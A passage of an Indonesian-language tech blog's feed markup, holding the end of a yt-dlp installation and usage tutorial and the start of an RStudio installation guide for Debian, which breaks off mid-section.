juga untuk mengunduh audio/video dari platform lain, seperti BiliBili, IQIYI, Crunchyroll, Facebok, Instagram, Pinterest, Tiktok, Twitter, dan masih banyak lagi.&lt;/p&gt;&lt;p&gt;Selangkapnya, baca &lt;a href=&quot;https://github.com../images/yt-dlp/yt-dlp/blob/master/supportedsites.md&quot; target=&quot;_blank&quot;&gt;di sini&lt;/a&gt;&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;How to Install It?&lt;a href=&quot;#how-to-install-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Instalasinya cukup mudah karena &lt;strong&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/strong&gt; &lt;em&gt;support&lt;/em&gt; untuk sistem operasi yang desktop, seperti Windows, Mac, dan Linux tentu saja.&lt;/p&gt;&lt;section&gt;&lt;h2&gt;Linux Installation&lt;a href=&quot;#linux-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;





























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;No&lt;/th&gt;&lt;th&gt;Distro&lt;/th&gt;&lt;th&gt;Install&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.debian.org/bookworm/yt-dlp&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Debian&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo apt install yt-dlp&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://archlinux.org/packages/extra/any/yt-dlp/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Arch&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo pacman -S yt-dlp&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://software.opensuse.org/package/yt-dlp&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;OpenSuse&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo zypper in yt-dlp&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://packages.fedoraproject.org/pkgs/yt-dlp/yt-dlp/&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Fedora&lt;/strong&gt;&lt;/a&gt;&lt;/td&gt;&lt;td&gt;&lt;code&gt;sudo dnf install yt-dlp&lt;/code&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;p&gt;Atau kalau &lt;em&gt;package&lt;/em&gt; &lt;strong&gt;&lt;code&gt;yt-dlp&lt;/code&gt;&lt;/strong&gt; dari repo distro-nya &lt;em&gt;&lt;strong&gt;outdated&lt;/strong&gt;&lt;/em&gt; alias belum &lt;em&gt;update&lt;/em&gt; ke versi yang terbaru, kita bisa gunakan binary-nya yang juga disediakan di repo officialnya:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp&quot; target=&quot;_blank&quot;&gt;https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Windows Installation&lt;a href=&quot;#windows-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita tidak perlu melakukan instalasi jika menggunakan Windows karena cukup mengunduh file binary-nya saja berikut ini:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe&quot; target=&quot;_blank&quot;&gt;https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp.exe&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h2&gt;Mac Installation&lt;a href=&quot;#mac-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Kita juga hanya perlu mengunduh file binary untuk Mac berikut:&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos&quot; target=&quot;_blank&quot;&gt;https://github.com/yt-dlp/yt-dlp/releases/latest/download/yt-dlp_macos&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h1&gt;How to use it?&lt;a href=&quot;#how-to-use-it&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h1&gt;&lt;p&gt;Cara menggunakannya tentu bergantung dengan kebutuhan yang diperlukan. Saya hanya akan membahas beberapa penggunaan sederhana yang sehari-hati biasa saya lakukan saja karena kalau saya membahas semuanya, tentu artikel ini menjadi sangat panjang dan tidak efektif.&lt;/p&gt;&lt;p&gt;Jika kalian ingin mencari tahu lebih jauh tentang kegunaan tools ini, sila kunjungi repo github resminya yang sudah saya berikan di awal artikel.&lt;/p&gt;&lt;section&gt;&lt;h2&gt;Mengunduh video Youtube&lt;a href=&quot;#mengunduh-video-youtube&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;section&gt;&lt;h3&gt;Default&lt;a href=&quot;#default&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kita bisa gunakan perintah&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yt-dlp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;video&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;youtube&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;untuk mengunduh video dengan format default, yaitu &lt;code&gt;.webm&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1362&quot; height=&quot;414&quot; src=&quot;/_astro/ss1.fJYwQQTz_ZXqLbD.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Spesific Format&lt;a href=&quot;#spesific-format&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Kalau ingin spesifik dengan format tertentu, kita bisa tambahkan flag &lt;code&gt;-f&lt;/code&gt; atau &lt;code&gt;--format&lt;/code&gt; disertai dengan format yang diinginkan, misalnya &lt;code&gt;mp4&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yt-dlp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mp4&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;video&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;youtube&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1358&quot; height=&quot;291&quot; src=&quot;/_astro/ss2.guF29JcD_hjwhM.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Audio Only&lt;a href=&quot;#audio-only&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mengekstrak audio-nya saja dari video, kita bisa gunakan flag &lt;code&gt;-x&lt;/code&gt; untuk mengekstrak audio-nya dan menambahkan flag &lt;code&gt;audio-format&lt;/code&gt; disertai format audio yang diinginkan, misalnya &lt;code&gt;mp3&lt;/code&gt;:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yt-dlp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-x&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;--audio-format&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;mp3&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;video&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;youtube&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1355&quot; height=&quot;329&quot; src=&quot;/_astro/ss3.CWqvIMYs_Fyb72.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;See Available Size &amp;amp; Format&lt;a href=&quot;#see-available-size--format&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk melihat ukuran dan format video yang tersedia:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yt-dlp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-F&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;video&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;youtube&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;932&quot; height=&quot;597&quot; src=&quot;/_astro/ss4.69OyNZwP_Z2eH9MJ.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Spesific Size&lt;a href=&quot;#spesific-size&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Untuk mengunduh video dengan ukuran pixel tertentu:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;yt-dlp&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-f&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;ID&amp;gt;&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;&amp;lt;link&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;video&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;youtube&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;543&quot; height=&quot;303&quot; src=&quot;/_astro/ss5.CI2Hs7hH_ZAJjKy.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Yaa, sekian dulu, hehe.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Artikel ini akan saya perbarui.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://github.com../images/yt-dlp/yt-dlp&quot; target=&quot;_blank&quot;&gt;https://github.com../images/yt-dlp/yt-dlp&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>RStudio Basic: From Installation to Data Visualization</title><link>https://shangdi.github.io/posts/tech/rstudio-basic/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/rstudio-basic/</guid><description>Rstudio is a free and open source integrated development environment (IDE) for R programming language.</description><pubDate>Thu, 13 Jun 2024 15:56:25 GMT</pubDate><content:encoded>&lt;p&gt;Hola!&lt;/p&gt;
&lt;p&gt;RStudio menurut saya adalah &lt;em&gt;software&lt;/em&gt; keren untuk mengolah data menggunakan bahasa R. Jadi, saya memutuskan untuk membahasnya di artikel ini. Tapi, sebagaimana judulnya, saya hanya akan memberikan &lt;em&gt;overview&lt;/em&gt; tentang RStudio secara singkat.&lt;/p&gt;
&lt;p&gt;Beberapa hal yang akan saya bahas dari Rstudio di artikel ini terbagi ke dalam 6 bagian:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;What is R &amp;amp; RStudio?&lt;/li&gt;
&lt;li&gt;Why R &amp;amp; RStudio&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/li&gt;
&lt;li&gt;R &amp;amp; RStudio Installation&lt;/li&gt;
&lt;li&gt;RStudio Interface Introduction&lt;/li&gt;
&lt;li&gt;Installing Packages (tidyverse &amp;amp; palmerpenguins)&lt;/li&gt;
&lt;li&gt;Playing with Data&lt;/li&gt;
&lt;/ol&gt;
&lt;section&gt;&lt;h2&gt;1. What is R &amp;amp; RStudio?&lt;a href=&quot;#1-what-is-r--rstudio&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Pertanyaan pertama yang paling penting karena bersifat ontologis: &lt;strong&gt;“Apa itu R?”&lt;/strong&gt;&lt;br /&gt;
Secara sederhana, R adalah sebuah bahasa pemrograman yang digunakan untuk mengolah dan memvisualisasikan data&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;. R juga bisa didefinisikan secara rinci sebagai software dan juga bahasa pemrograman yang digunakan untuk melakukan analisis data statistik&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;. R diciptakan oleh Robert Gentleman dan kawan-kawannya di Universitas Auckland, Selandia baru&lt;sup&gt;&lt;a href=&quot;#user-content-fn-3&quot;&gt;3&lt;/a&gt;&lt;/sup&gt;. R juga merupakan &lt;em&gt;project&lt;/em&gt; GNU yang berbasis &lt;em&gt;open source&lt;/em&gt; alias gratis.&lt;/p&gt;&lt;p&gt;RStudio atau RStudio Desktop adalah &lt;em&gt;software&lt;/em&gt; yang berfungsi sebagai &lt;em&gt;interface&lt;/em&gt; atau antarmuka grafis untuk bahasa R. Kita bisa menyebut RStudio sebagai IDE atau  &lt;em&gt;Integrated Development Environment&lt;/em&gt; untuk bahasa R, sehingga memudahkan kita untuk membuat program berbasis R. RStudio dibuat oleh Posit (dulu namanya RStudio juga, sekarang sudah berganti nama menjadi Posit), sebuah perusahaan pengembang &lt;em&gt;software data science open source&lt;/em&gt; yang sudah berdiri sejak tahun 2009&lt;sup&gt;&lt;a href=&quot;#user-content-fn-4&quot;&gt;4&lt;/a&gt;&lt;/sup&gt;.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;2. Why R &amp;amp; RStudio?&lt;a href=&quot;#2-why-r--rstudio&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita masuk ke pertanyaan yang bersifat aksiologis, yang juga penting, yaitu &lt;strong&gt;“Mengapa harus bahasa R dan RStudio?”&lt;/strong&gt;&lt;br /&gt;
Beberapa alasan yang bisa menjustifikasi keunggulan bahasa R&lt;sup&gt;&lt;a href=&quot;#user-content-fn-2&quot;&gt;2&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;R adalah bahasa pemrograman yang gratis dan &lt;em&gt;open source&lt;/em&gt;. &lt;em&gt;Open source&lt;/em&gt; artinya kita bisa memodifikasi bahasa R itu sendiri sesuai kebutuhan dan juga boleh dan sah untuk didistribusikan kembali karena &lt;em&gt;source code&lt;/em&gt;-nya memang “&lt;em&gt;open&lt;/em&gt;”.&lt;/li&gt;
&lt;li&gt;R tersedia dan dapat di-&lt;em&gt;instal&lt;/em&gt; di berbagai sistem operasi populer saat ini, seperti Linux, Windows, dan MacOS.&lt;/li&gt;
&lt;li&gt;R juga memungkinkan kita untuk membuat graph atau grafik yang berkualitas untuk dipublikasikan.&lt;/li&gt;
&lt;li&gt;R juga menyediakan metode dan algoritma statistik yang dibuat oleh penggunanya sendiri (nama repositorinya - semacam playstore atau apple store - yaitu CRAN, singkatan dari &lt;em&gt;Comprehensive R Archive Network&lt;/em&gt;).&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;RStudio juga menjadi IDE favorit bagi para R data programmer karena&lt;sup&gt;&lt;a href=&quot;#user-content-fn-9&quot;&gt;5&lt;/a&gt;&lt;/sup&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;RStudio sebagai IDE (&lt;em&gt;Integrated Development Environment&lt;/em&gt;) menyediakan fitur-fitur &lt;em&gt;user-friendly&lt;/em&gt; yang memang khusus diperuntukkan untuk pemrograman R, misalnya fitur seperti &lt;em&gt;syntax higlighting&lt;/em&gt;, &lt;em&gt;code completion&lt;/em&gt;, dan lain sebagainya.&lt;/li&gt;
&lt;li&gt;RStuio juga mendukung para pemrogram bahasa R untuk membuat &lt;em&gt;project management&lt;/em&gt; yang baik sehingga memudahkan mereka untuk mengatur banyak data, &lt;em&gt;script&lt;/em&gt; pemrograman, dan yang lainnya.&lt;/li&gt;
&lt;li&gt;RStudio juga &lt;em&gt;support&lt;/em&gt; untuk membuat visualisasi data dengan berbagai grafik, khususnya menggunakan &lt;em&gt;library&lt;/em&gt; populer seperti &lt;code&gt;ggplot2&lt;/code&gt;. Pada bagian “RStudio Interface Introduction” di artikel ini, saya akan menunjukkan bagaimana RStudio meng-&lt;em&gt;handle&lt;/em&gt; visualisasi data.&lt;/li&gt;
&lt;li&gt;Melalui RStudio, kita juga bisa melakukan &lt;em&gt;package management&lt;/em&gt; dengan mudah karena sudah terintegrasi dengan &lt;em&gt;package manager&lt;/em&gt; dan CRAN sebagai &lt;em&gt;repository&lt;/em&gt;. Artinya, kita dapat meng-&lt;em&gt;install&lt;/em&gt;, meng-&lt;em&gt;update&lt;/em&gt;, dan meng-&lt;em&gt;uninstall&lt;/em&gt; &lt;em&gt;packages&lt;/em&gt; serta &lt;em&gt;libraries&lt;/em&gt; yang tersedia.&lt;/li&gt;
&lt;li&gt;RStudio juga &lt;em&gt;support&lt;/em&gt; Markdown Syntax sehingga memudahkan kita (sebagai R progammer) untuk membuat &lt;em&gt;report&lt;/em&gt;, presentasi, ataupun dokumentasi hasil olah data (baik kode yang kita gunakan, visualisasinya, berikut juga dengan narasinya) dengan rapih.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;Berikut adalah &lt;em&gt;cheatsheet&lt;/em&gt; Markdown Syntax untuk R &amp;amp; RStudio:&lt;/p&gt;
&lt;p&gt;sumber: &lt;a href=&quot;https://www.rstudio.com/wp-content/uploads/2015/02/rmarkdown-cheatsheet.pdf&quot; target=&quot;_blank&quot;&gt;https://www.rstudio.com/wp-content/uploads/2015/02/rmarkdown-cheatsheet.pdf&lt;/a&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;3. R &amp;amp; Rstudio Installation&lt;a href=&quot;#3-r--rstudio-installation&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sekarang, kita akan mulai menjawab pertanyaan epistemologis-nya, dimulai dari cara meng-&lt;em&gt;install&lt;/em&gt;-nya.&lt;br /&gt;
Disclaimer dulu, di artikel ini, saya hanya akan membahas cara meng-&lt;em&gt;install&lt;/em&gt; R dan RStudio di &lt;em&gt;environment&lt;/em&gt; linux saja, khususnya linux berbasis debian/ubuntu.&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;Langkah pertama, kita perlu memasang R.&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;upgrade&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk meng-update dan meng-upgrade paket-paket&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-base&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;r-base-dev&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;ol&gt;
&lt;li&gt;Kemudian, kita bisa mengunduh package file-nya yang berekstensi &lt;code&gt;.deb&lt;/code&gt; di &lt;a href=&quot;https://posit.co/download/rstudio-desktop/&quot; target=&quot;_blank&quot;&gt;RStudio Download di sini&lt;/a&gt;.&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1210&quot; height=&quot;624&quot; src=&quot;/_astro/ss1.CsivyCMB_Z18Lsh7.webp&quot; /&gt;
Karena saya menggunakan Debian 12 (bookworm), maka saya memilih yang Ubuntu 22/Debian 12. Silakan disesuaikan dengan distribusi linux kalian.&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; Sependek pengetahuan saya, RStudio di Archlinux hanya dapat di-&lt;em&gt;install&lt;/em&gt; via repositori komunitasnya alias AUR (&lt;em&gt;Arch User Repository&lt;/em&gt;).&lt;/p&gt;&lt;/blockquote&gt;&lt;ol&gt;
&lt;li&gt;Kita tinggal menginstallnya via terminal dengan perintah:&lt;/li&gt;
&lt;/ol&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk memperbaharui paket-paket di repository&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;dpkg&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-i&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;./rstudio-2024.04.2-764-amd64.deb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;atau&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;update&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;# untuk memperbaharui paket-paket di repositor&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;2&lt;/div&gt;&lt;/div&gt;&lt;div&gt;
&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;3&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;-y&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;./rstudio-2024.04.2-764-amd64.deb&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Tunggu beberapa saat hingga proses instalasinya selesai berjalan.&lt;/p&gt;&lt;p&gt;Jika sudah selesai, kita juga perlu memasang beberapa paket R yang dibutuhkan:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal 